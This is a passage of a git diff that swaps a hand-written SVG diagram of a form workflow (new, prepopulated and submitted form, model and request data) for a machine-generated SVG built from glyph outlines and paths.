+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-16" x="266.15625" y="560.853733"/>
+  <use xlink:href="#glyph1-11" x="274.767361" y="560.853733"/>
+  <use xlink:href="#glyph1-17" x="283.65625" y="560.853733"/>
+  <use xlink:href="#glyph1-8" x="292.545139" y="560.853733"/>
+  <use xlink:href="#glyph1-18" x="305.878472" y="560.853733"/>
+  <use xlink:href="#glyph1-14" x="310.322917" y="560.853733"/>
+  <use xlink:href="#glyph1-14" x="315.878472" y="560.853733"/>
+  <use xlink:href="#glyph1-2" x="321.434028" y="560.853733"/>
+  <use xlink:href="#glyph1-15" x="329.767361" y="560.853733"/>
+  <use xlink:href="#glyph1-4" x="338.65625" y="560.853733"/>
+  <use xlink:href="#glyph1-5" x="343.100694" y="560.853733"/>
+  <use xlink:href="#glyph1-6" x="348.100694" y="560.853733"/>
+  <use xlink:href="#glyph1-7" x="356.989583" y="560.853733"/>
+  <use xlink:href="#glyph1-8" x="362.545139" y="560.853733"/>
+</g>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 25 3.185352 L 25 5 L 31 5 L 31 24.399805 " transform="matrix(20,0,0,20,-299,21)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 30.75 24.399805 L 31 24.899805 L 31.25 24.399805 Z M 30.75 24.399805 " transform="matrix(20,0,0,20,-299,21)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 37 3.185352 L 37 5 L 31 5 L 31 24.45 " transform="matrix(20,0,0,20,-299,21)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 30.75 24.45 L 31 24.95 L 31.25 24.45 Z M 30.75 24.45 " transform="matrix(20,0,0,20,-299,21)"/>
+<path style="fill-rule:evenodd;fill:rgb(69.803923%,83.137256%,92.156863%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 16.708203 5.2 L 21.540625 5.2 C 22.207812 5.2 22.748828 5.75957 22.748828 6.45 C 22.748828 7.14043 22.207812 7.7 21.540625 7.7 L 16.708203 7.7 C 16.04082 7.7 15.5 7.14043 15.5 6.45 C 15.5 5.75957 16.04082 5.2 16.708203 5.2 Z M 16.708203 5.2 " transform="matrix(20,0,0,20,-299,21)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-19" x="38.078125" y="158.892795"/>
+  <use xlink:href="#glyph1-2" x="46.967014" y="158.892795"/>
+  <use xlink:href="#glyph1-20" x="55.300347" y="158.892795"/>
+  <use xlink:href="#glyph1-11" x="64.189236" y="158.892795"/>
+  <use xlink:href="#glyph1-2" x="73.078125" y="158.892795"/>
+  <use xlink:href="#glyph1-21" x="81.411458" y="158.892795"/>
+  <use xlink:href="#glyph1-14" x="88.355903" y="158.892795"/>
+  <use xlink:href="#glyph1-4" x="93.911458" y="158.892795"/>
+  <use xlink:href="#glyph1-15" x="98.355903" y="158.892795"/>
+  <use xlink:href="#glyph1-13" x="107.244792" y="158.892795"/>
+  <use xlink:href="#glyph1-14" x="115.300347" y="158.892795"/>
+  <use xlink:href="#glyph1-13" x="120.855903" y="158.892795"/>
+</g>
+<path style=" stroke:none;fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 241 94.601562 L 399.75 94.601562 L 399.75 118 L 241 118 Z M 241 94.601562 "/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-13" x="241" y="113.008681"/>
+  <use xlink:href="#glyph0-8" x="249.055556" y="113.008681"/>
+  <use xlink:href="#glyph0-4" x="256.277778" y="113.008681"/>
+  <use xlink:href="#glyph0-2" x="264.333333" y="113.008681"/>
+  <use xlink:href="#glyph0-9" x="272.111111" y="113.008681"/>
+  <use xlink:href="#glyph0-3" x="276.277778" y="113.008681"/>
+  <use xlink:href="#glyph0-14" x="283.777778" y="113.008681"/>
+  <use xlink:href="#glyph0-3" x="291.833333" y="113.008681"/>
+  <use xlink:href="#glyph0-15" x="299.055556" y="113.008681"/>
+  <use xlink:href="#glyph0-16" x="306.833333" y="113.008681"/>
+  <use xlink:href="#glyph0-3" x="314.611111" y="113.008681"/>
+  <use xlink:href="#glyph0-17" x="322.111111" y="113.008681"/>
+  <use xlink:href="#glyph0-12" x="328.222222" y="113.008681"/>
+  <use xlink:href="#glyph0-18" x="333.222222" y="113.008681"/>
+  <use xlink:href="#glyph0-19" x="337.388889" y="113.008681"/>
+  <use xlink:href="#glyph0-6" x="345.444444" y="113.008681"/>
+  <use xlink:href="#glyph0-3" x="350.444444" y="113.008681"/>
+  <use xlink:href="#glyph0-15" x="357.666667" y="113.008681"/>
+  <use xlink:href="#glyph0-16" x="365.444444" y="113.008681"/>
+  <use xlink:href="#glyph0-3" x="373.222222" y="113.008681"/>
+  <use xlink:href="#glyph0-17" x="380.722222" y="113.008681"/>
+  <use xlink:href="#glyph0-12" x="386.833333" y="113.008681"/>
+  <use xlink:href="#glyph0-20" x="391.833333" y="113.008681"/>
+  <use xlink:href="#glyph0-1" x="396" y="113.008681"/>
+</g>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-dasharray:0.1,0.1;stroke-miterlimit:10;" d="M 22.748828 6.45 L 30.3 6.484961 " transform="matrix(20,0,0,20,-299,21)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 30.298828 6.734961 L 30.8 6.487305 L 30.301172 6.234961 Z M 30.298828 6.734961 " transform="matrix(20,0,0,20,-299,21)"/>
+<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 28.3 8 C 28.134375 8 28 8.134375 28 8.3 L 28 10.885352 C 28 11.050977 28.134375 11.185352 28.3 11.185352 L 33.7 11.185352 C 33.865625 11.185352 34 11.050977 34 10.885352 L 34 8.3 C 34 8.134375 33.865625 8 33.7 8 Z M 28.3 8 " transform="matrix(20,0,0,20,-299,21)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-9" x="276.15625" y="220.853733"/>
+  <use xlink:href="#glyph1-19" x="285.322917" y="220.853733"/>
+  <use xlink:href="#glyph1-22" x="295.045139" y="220.853733"/>
+  <use xlink:href="#glyph1-23" x="303.65625" y="220.853733"/>
+  <use xlink:href="#glyph1-16" x="310.322917" y="220.853733"/>
+  <use xlink:href="#glyph1-24" x="318.934028" y="220.853733"/>
+  <use xlink:href="#glyph1-25" x="329.489583" y="220.853733"/>
+  <use xlink:href="#glyph1-26" x="338.934028" y="220.853733"/>
+  <use xlink:href="#glyph1-27" x="351.989583" y="220.853733"/>
+  <use xlink:href="#glyph1-28" x="356.711806" y="220.853733"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 28.3 14 C 28.134375 14 28 14.134375 28 14.3 L 28 16.885352 C 28 17.050977 28.134375 17.185352 28.3 17.185352 L 33.7 17.185352 C 33.865625 17.185352 34 17.050977 34 16.885352 L 34 14.3 C 34 14.134375 33.865625 14 33.7 14 Z M 28.3 14 " transform="matrix(20,0,0,20,-299,21)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-16" x="293.226562" y="340.853733"/>
+  <use xlink:href="#glyph1-24" x="301.837674" y="340.853733"/>
+  <use xlink:href="#glyph1-25" x="312.393229" y="340.853733"/>
+  <use xlink:href="#glyph1-26" x="321.837674" y="340.853733"/>
+  <use xlink:href="#glyph1-27" x="334.893229" y="340.853733"/>
+  <use xlink:href="#glyph1-28" x="339.615451" y="340.853733"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 28.3 20 C 28.134375 20 28 20.134375 28 20.3 L 28 22.885352 C 28 23.050977 28.134375 23.185352 28.3 23.185352 L 33.7 23.185352 C 33.865625 23.185352 34 23.050977 34 22.885352 L 34 20.3 C 34 20.134375 33.865625 20 33.7 20 Z M 28.3 20 " transform="matrix(20,0,0,20,-299,21)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-9" x="271" y="460.853733"/>
+  <use xlink:href="#glyph1-29" x="279.888889" y="460.853733"/>
+  <use xlink:href="#glyph1-16" x="291" y="460.853733"/>
+  <use xlink:href="#glyph1-28" x="299.611111" y="460.853733"/>
+  <use xlink:href="#glyph1-23" x="308.777778" y="460.853733"/>
+  <use xlink:href="#glyph1-16" x="315.444444" y="460.853733"/>
+  <use xlink:href="#glyph1-24" x="324.055556" y="460.853733"/>
+  <use xlink:href="#glyph1-25" x="334.611111" y="460.853733"/>
+  <use xlink:href="#glyph1-26" x="344.055556" y="460.853733"/>
+  <use xlink:href="#glyph1-27" x="357.111111" y="460.853733"/>
+  <use xlink:href="#glyph1-28" x="361.833333" y="460.853733"/>
+</g>
+</g>
 </svg>
diff --git a/_images/form/form_workflow.svg b/_images/form/form_workflow.svg
index a256c2073ef..2dbacbbf096 100644
--- a/_images/form/form_workflow.svg
+++ b/_images/form/form_workflow.svg
@@ -1,66 +1,263 @@
-<svg width="400" viewBox="1357 517 524 407" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
-  <g id="global workflow">
-    <g>
-      <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1480" y="620" width="160" height="63.7055" rx="6" ry="6"/>
-      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1560" y="659.838">
-        <tspan x="1560" y="659.838">New form</tspan>
-      </text>
-    </g>
-    <g>
-      <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1720" y="620" width="160" height="63.7055" rx="6" ry="6"/>
-      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1800" y="659.838">
-        <tspan x="1800" y="659.838">Prepopulated form</tspan>
-      </text>
-    </g>
-    <g>
-      <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1600" y="860" width="160" height="63.7055" rx="6" ry="6"/>
-      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1680" y="899.838">
-        <tspan x="1680" y="899.838">Submitted form</tspan>
-      </text>
-    </g>
-    <g>
-      <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="1640" y1="651.853" x2="1709" y2="651.853"/>
-      <polygon style="fill: #000000; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" points="1709,656.853 1719,651.853 1709,646.853 "/>
-    </g>
-    <g>
-      <polyline style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" points="1560,683.706 1560,740 1680,740 1680,847.996 "/>
-      <polygon style="fill: #000000; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" points="1675,847.996 1680,857.996 1685,847.996 "/>
-    </g>
-    <g>
-      <polyline style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" points="1800,683.706 1800,740 1680,740 1680,849 "/>
-      <polygon style="fill: #000000; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" points="1675,849 1680,859 1685,849 "/>
-    </g>
-    <g>
-      <path style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" d="M 1626.67 520 L 1733.33,520 C 1748.06,520 1760,530.499 1760,543.449 C 1760,556.4 1748.06,566.898 1733.33,566.898 L 1626.67,566.898 C 1611.94,566.898 1600,556.4 1600,543.449 C 1600,530.499 1611.94,520 1626.67,520z"/>
-      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1680" y="551.435">
-        <tspan x="1680" y="551.435">Model data</tspan>
-      </text>
-    </g>
-    <g>
-      <path style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" d="M 1384.16 780 L 1480.81,780 C 1494.16,780 1504.98,790.499 1504.98,803.449 C 1504.98,816.4 1494.16,826.898 1480.81,826.898 L 1384.16,826.898 C 1370.82,826.898 1360,816.4 1360,803.449 C 1360,790.499 1370.82,780 1384.16,780z"/>
-      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1432.49" y="811.435">
-        <tspan x="1432.49" y="811.435">Request data</tspan>
-      </text>
-    </g>
-    <g>
-      <rect style="fill: #ffffff; fill-opacity: 1; stroke: none" x="1680" y="581.613" width="102.6" height="23.3724"/>
-      <text font-size="18.0622" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:start;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1680" y="600">
-        <tspan xml:space="preserve" x="1680" y="600">  setData($data) </tspan>
-      </text>
-    </g>
-    <g>
-      <rect style="fill: #ffffff; fill-opacity: 1; stroke: none" x="1510" y="776.613" width="158.75" height="23.3724"/>
-      <text font-size="18.0622" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:start;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1510" y="795">
-        <tspan x="1510" y="795">handleRequest($request) </tspan>
-      </text>
-    </g>
-    <g>
-      <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #000000" x1="1504.98" y1="803.449" x2="1666" y2="804.667"/>
-      <polygon style="fill: #000000; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" points="1665.96,809.667 1676,804.742 1666.04,799.667 "/>
-    </g>
-    <g>
-      <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #000000" x1="1680" y1="566.898" x2="1680" y2="640.853"/>
-      <polygon style="fill: #000000; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" points="1675,640.853 1680,650.853 1685,640.853 "/>
-    </g>
-  </g>
+<?xml version="1.0" encoding="UTF-8"?>
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="561pt" height="441pt" viewBox="0 0 561 441" version="1.1">
+<defs>
+<g>
+<symbol overflow="visible" id="glyph0-0">
+<path style="stroke:none;" d="M 1.015625 -14.234375 L 14.234375 -14.234375 L 14.234375 0 L 1.015625 0 Z M 11.59375 -12.609375 L 7.625 -8.1875 L 3.65625 -12.609375 L 2.640625 -11.59375 L 6.640625 -7.109375 L 2.640625 -2.640625 L 3.65625 -1.625 L 7.625 -6.03125 L 11.59375 -1.625 L 12.609375 -2.640625 L 8.578125 -7.109375 L 12.609375 -11.59375 Z M 2.625 -0.546875 L 2.78125 -0.546875 L 2.78125 -0.796875 L 2.859375 -0.796875 C 2.941406 -0.796875 3.015625 -0.8125 3.078125 -0.84375 C 3.148438 -0.875 3.1875 -0.9375 3.1875 -1.03125 C 3.1875 -1.144531 3.148438 -1.210938 3.078125 -1.234375 C 3.003906 -1.265625 2.925781 -1.28125 2.84375 -1.28125 L 2.625 -1.28125 Z M 2.859375 -1.15625 C 2.972656 -1.15625 3.03125 -1.125 3.03125 -1.0625 C 3.03125 -0.988281 3.007812 -0.945312 2.96875 -0.9375 C 2.9375 -0.9375 2.894531 -0.9375 2.84375 -0.9375 L 2.78125 -0.9375 L 2.78125 -1.15625 Z M 3.84375 -1.28125 L 3.21875 -1.28125 L 3.21875 -1.15625 L 3.453125 -1.15625 L 3.453125 -0.546875 L 3.59375 -0.546875 L 3.59375 -1.15625 L 3.84375 -1.15625 Z M 4.515625 -0.75 C 4.515625 -0.695312 4.46875 -0.671875 4.375 -0.671875 C 4.28125 -0.671875 4.21875 -0.6875 4.1875 -0.71875 L 4.125 -0.5625 C 4.15625 -0.5625 4.191406 -0.554688 4.234375 -0.546875 C 4.273438 -0.535156 4.328125 -0.53125 4.390625 -0.53125 C 4.578125 -0.53125 4.671875 -0.609375 4.671875 -0.765625 C 4.671875 -0.890625 4.609375 -0.957031 4.484375 -0.96875 C 4.367188 -0.988281 4.3125 -1.03125 4.3125 -1.09375 C 4.3125 -1.132812 4.351562 -1.15625 4.4375 -1.15625 C 4.5 -1.15625 4.554688 -1.144531 4.609375 -1.125 L 4.65625 -1.265625 C 4.570312 -1.285156 4.5 -1.296875 4.4375 -1.296875 C 4.238281 -1.296875 4.140625 -1.222656 4.140625 -1.078125 C 4.140625 -1.003906 4.160156 -0.953125 4.203125 -0.921875 C 4.242188 -0.898438 4.285156 -0.878906 4.328125 -0.859375 C 4.367188 -0.835938 4.410156 -0.820312 4.453125 -0.8125 C 4.492188 -0.800781 4.515625 -0.78125 4.515625 -0.75 Z M 4.8125 -0.953125 C 4.875 -0.984375 4.9375 -1 5 -1 C 5.070312 -1 5.109375 -0.972656 5.109375 -0.921875 L 5.109375 -0.875 C 5.085938 -0.875 5.070312 -0.875 5.0625 -0.875 C 5.050781 -0.882812 5.03125 -0.890625 5 -0.890625 C 4.832031 -0.890625 4.75 -0.820312 4.75 -0.6875 C 4.75 -0.582031 4.804688 -0.53125 4.921875 -0.53125 C 5.003906 -0.53125 5.066406 -0.5625 5.109375 -0.625 L 5.140625 -0.546875 L 5.265625 -0.546875 C 5.253906 -0.578125 5.25 -0.625 5.25 -0.6875 L 5.25 -0.921875 C 5.25 -1.054688 5.179688 -1.125 5.046875 -1.125 C 4.984375 -1.125 4.925781 -1.113281 4.875 -1.09375 C 4.832031 -1.082031 4.800781 -1.070312 4.78125 -1.0625 Z M 4.984375 -0.65625 C 4.929688 -0.65625 4.90625 -0.679688 4.90625 -0.734375 C 4.90625 -0.785156 4.9375 -0.8125 5 -0.8125 C 5.03125 -0.8125 5.050781 -0.804688 5.0625 -0.796875 C 5.070312 -0.796875 5.085938 -0.796875 5.109375 -0.796875 L 5.109375 -0.734375 C 5.078125 -0.679688 5.035156 -0.65625 4.984375 -0.65625 Z M 5.9375 -0.546875 L 5.9375 -0.875 C 5.9375 -1.039062 5.875 -1.125 5.75 -1.125 C 5.65625 -1.125 5.585938 -1.085938 5.546875 -1.015625 L 5.515625 -1.09375 L 5.40625 -1.09375 L 5.40625 -0.546875 L 5.546875 -0.546875 L 5.546875 -0.890625 C 5.578125 -0.941406 5.617188 -0.96875 5.671875 -0.96875 C 5.734375 -0.96875 5.765625 -0.929688 5.765625 -0.859375 L 5.765625 -0.546875 Z M 6.03125 -0.5625 C 6.09375 -0.539062 6.160156 -0.53125 6.234375 -0.53125 C 6.390625 -0.53125 6.46875 -0.59375 6.46875 -0.71875 C 6.46875 -0.78125 6.445312 -0.816406 6.40625 -0.828125 C 6.375 -0.847656 6.335938 -0.867188 6.296875 -0.890625 C 6.234375 -0.921875 6.203125 -0.941406 6.203125 -0.953125 C 6.203125 -0.984375 6.222656 -1 6.265625 -1 C 6.316406 -1 6.367188 -0.984375 6.421875 -0.953125 L 6.46875 -1.078125 C 6.414062 -1.109375 6.347656 -1.125 6.265625 -1.125 C 6.128906 -1.125 6.0625 -1.0625 6.0625 -0.9375 C 6.0625 -0.863281 6.082031 -0.816406 6.125 -0.796875 C 6.164062 -0.773438 6.195312 -0.757812 6.21875 -0.75 C 6.289062 -0.75 6.328125 -0.726562 6.328125 -0.6875 C 6.328125 -0.664062 6.304688 -0.65625 6.265625 -0.65625 C 6.191406 -0.65625 6.128906 -0.664062 6.078125 -0.6875 Z M 6.875 -0.859375 C 6.875 -0.566406 7.007812 -0.421875 7.28125 -0.421875 C 7.550781 -0.421875 7.6875 -0.566406 7.6875 -0.859375 C 7.6875 -1.128906 7.550781 -1.265625 7.28125 -1.265625 C 7.164062 -1.265625 7.066406 -1.222656 6.984375 -1.140625 C 6.910156 -1.066406 6.875 -0.972656 6.875 -0.859375 Z M 7 -0.859375 C 7 -1.054688 7.09375 -1.15625 7.28125 -1.15625 C 7.46875 -1.15625 7.5625 -1.054688 7.5625 -0.859375 C 7.5625 -0.648438 7.46875 -0.546875 7.28125 -0.546875 C 7.09375 -0.546875 7 -0.648438 7 -0.859375 Z M 7.40625 -0.765625 C 7.375 -0.753906 7.34375 -0.75 7.3125 -0.75 C 7.257812 -0.75 7.234375 -0.785156 7.234375 -0.859375 C 7.234375 -0.910156 7.257812 -0.9375 7.3125 -0.9375 L 7.375 -0.9375 L 7.421875 -1.015625 C 7.367188 -1.046875 7.320312 -1.0625 7.28125 -1.0625 C 7.15625 -1.0625 7.09375 -0.992188 7.09375 -0.859375 C 7.09375 -0.703125 7.15625 -0.625 7.28125 -0.625 C 7.34375 -0.625 7.390625 -0.640625 7.421875 -0.671875 Z M 8.109375 -0.546875 L 8.28125 -0.546875 L 8.28125 -0.796875 L 8.359375 -0.796875 C 8.441406 -0.796875 8.515625 -0.8125 8.578125 -0.84375 C 8.648438 -0.875 8.6875 -0.9375 8.6875 -1.03125 C 8.6875 -1.144531 8.644531 -1.210938 8.5625 -1.234375 C 8.488281 -1.265625 8.410156 -1.28125 8.328125 -1.28125 L 8.109375 -1.28125 Z M 8.359375 -1.15625 C 8.460938 -1.15625 8.515625 -1.125 8.515625 -1.0625 C 8.515625 -0.988281 8.5 -0.945312 8.46875 -0.9375 C 8.4375 -0.9375 8.390625 -0.9375 8.328125 -0.9375 L 8.28125 -0.9375 L 8.28125 -1.15625 Z M 8.78125 -0.953125 C 8.832031 -0.984375 8.894531 -1 8.96875 -1 C 9.03125 -1 9.0625 -0.972656 9.0625 -0.921875 L 9.0625 -0.875 C 9.050781 -0.875 9.035156 -0.875 9.015625 -0.875 C 9.003906 -0.882812 8.988281 -0.890625 8.96875 -0.890625 C 8.789062 -0.890625 8.703125 -0.820312 8.703125 -0.6875 C 8.703125 -0.582031 8.765625 -0.53125 8.890625 -0.53125 C 8.960938 -0.53125 9.019531 -0.5625 9.0625 -0.625 L 9.109375 -0.546875 L 9.234375 -0.546875 C 9.210938 -0.578125 9.203125 -0.625 9.203125 -0.6875 L 9.203125 -0.921875 C 9.203125 -1.054688 9.132812 -1.125 9 -1.125 C 8.945312 -1.125 8.894531 -1.113281 8.84375 -1.09375 C 8.800781 -1.082031 8.765625 -1.070312 8.734375 -1.0625 Z M 8.9375 -0.65625 C 8.882812 -0.65625 8.859375 -0.679688 8.859375 -0.734375 C 8.859375 -0.785156 8.894531 -0.8125 8.96875 -0.8125 C 8.988281 -0.8125 9.003906 -0.804688 9.015625 -0.796875 C 9.035156 -0.796875 9.050781 -0.796875 9.0625 -0.796875 L 9.0625 -0.734375 C 9.039062 -0.679688 9 -0.65625 8.9375 -0.65625 Z M 9.71875 -1.09375 C 9.707031 -1.113281 9.679688 -1.125 9.640625 -1.125 C 9.578125 -1.125 9.535156 -1.085938 9.515625 -1.015625 L 9.5 -1.015625 L 9.46875 -1.09375 L 9.34375 -1.09375 L 9.34375 -0.546875 L 9.515625 -0.546875 L 9.515625 -0.890625 C 9.515625 -0.941406 9.554688 -0.96875 9.640625 -0.96875 L 9.65625 -0.96875 C 9.664062 -0.96875 9.671875 -0.960938 9.671875 -0.953125 C 9.671875 -0.953125 9.679688 -0.953125 9.703125 -0.953125 Z M 9.8125 -0.953125 C 9.894531 -0.984375 9.957031 -1 10 -1 C 10.070312 -1 10.109375 -0.972656 10.109375 -0.921875 L 10.109375 -0.875 C 10.085938 -0.875 10.070312 -0.875 10.0625 -0.875 C 10.050781 -0.882812 10.03125 -0.890625 10 -0.890625 C 9.820312 -0.890625 9.734375 -0.820312 9.734375 -0.6875 C 9.734375 -0.582031 9.796875 -0.53125 9.921875 -0.53125 C 10.015625 -0.53125 10.078125 -0.5625 10.109375 -0.625 L 10.125 -0.625 L 10.140625 -0.546875 L 10.265625 -0.546875 C 10.253906 -0.578125 10.25 -0.625 10.25 -0.6875 L 10.25 -0.921875 C 10.25 -1.054688 10.179688 -1.125 10.046875 -1.125 C 9.984375 -1.125 9.929688 -1.113281 9.890625 -1.09375 C 9.859375 -1.082031 9.828125 -1.070312 9.796875 -1.0625 Z M 9.984375 -0.65625 C 9.929688 -0.65625 9.90625 -0.679688 9.90625 -0.734375 C 9.90625 -0.785156 9.9375 -0.8125 10 -0.8125 C 10.03125 -0.8125 10.050781 -0.804688 10.0625 -0.796875 C 10.070312 -0.796875 10.085938 -0.796875 10.109375 -0.796875 L 10.109375 -0.734375 C 10.078125 -0.679688 10.035156 -0.65625 9.984375 -0.65625 Z M 10.828125 -1.28125 L 10.203125 -1.28125 L 10.203125 -1.15625 L 10.421875 -1.15625 L 10.421875 -0.546875 L 10.59375 -0.546875 L 10.59375 -1.15625 L 10.828125 -1.15625 Z M 11 -1.09375 L 10.828125 -1.09375 L 11.078125 -0.546875 C 11.066406 -0.484375 11.035156 -0.453125 10.984375 -0.453125 L 10.953125 -0.46875 L 10.921875 -0.34375 C 10.941406 -0.332031 10.972656 -0.328125 11.015625 -0.328125 C 11.085938 -0.328125 11.15625 -0.414062 11.21875 -0.59375 L 11.421875 -1.09375 L 11.265625 -1.09375 L 11.15625 -0.796875 L 11.15625 -0.6875 L 11.140625 -0.6875 L 11.125 -0.796875 Z M 11.484375 -0.328125 L 11.640625 -0.328125 L 11.640625 -0.5625 C 11.660156 -0.539062 11.695312 -0.53125 11.75 -0.53125 C 11.9375 -0.53125 12.03125 -0.628906 12.03125 -0.828125 C 12.03125 -1.023438 11.957031 -1.125 11.8125 -1.125 C 11.738281 -1.125 11.675781 -1.09375 11.625 -1.03125 L 11.609375 -1.03125 L 11.59375 -1.09375 L 11.484375 -1.09375 Z M 11.765625 -1 C 11.835938 -1 11.875 -0.941406 11.875 -0.828125 C 11.875 -0.710938 11.828125 -0.65625 11.734375 -0.65625 C 11.703125 -0.65625 11.671875 -0.664062 11.640625 -0.6875 L 11.640625 -0.890625 C 11.640625 -0.960938 11.679688 -1 11.765625 -1 Z M 12.5625 -0.6875 C 12.53125 -0.664062 12.484375 -0.65625 12.421875 -0.65625 C 12.328125 -0.65625 12.269531 -0.691406 12.25 -0.765625 L 12.640625 -0.765625 L 12.640625 -0.890625 C 12.640625 -0.972656 12.613281 -1.03125 12.5625 -1.0625 C 12.519531 -1.101562 12.46875 -1.125 12.40625 -1.125 C 12.207031 -1.125 12.109375 -1.019531 12.109375 -0.8125 C 12.109375 -0.625 12.207031 -0.53125 12.40625 -0.53125 C 12.445312 -0.53125 12.484375 -0.535156 12.515625 -0.546875 C 12.554688 -0.554688 12.59375 -0.570312 12.625 -0.59375 Z M 12.40625 -1 C 12.476562 -1 12.507812 -0.957031 12.5 -0.875 L 12.28125 -0.875 C 12.28125 -0.957031 12.320312 -1 12.40625 -1 Z M 12.40625 -1 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-1">
+<path style="stroke:none;" d="M 3.46875 -9.03125 L 2.609375 -11.265625 L 2.546875 -11.265625 L 2.765625 -9.03125 L 2.765625 0 L 1.296875 0 L 1.296875 -14.453125 L 2.21875 -14.453125 L 7.484375 -5.21875 L 8.3125 -3.09375 L 8.390625 -3.09375 L 8.171875 -5.21875 L 8.171875 -14.234375 L 9.640625 -14.234375 L 9.640625 0.21875 L 8.703125 0.21875 Z M 3.46875 -9.03125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-2">
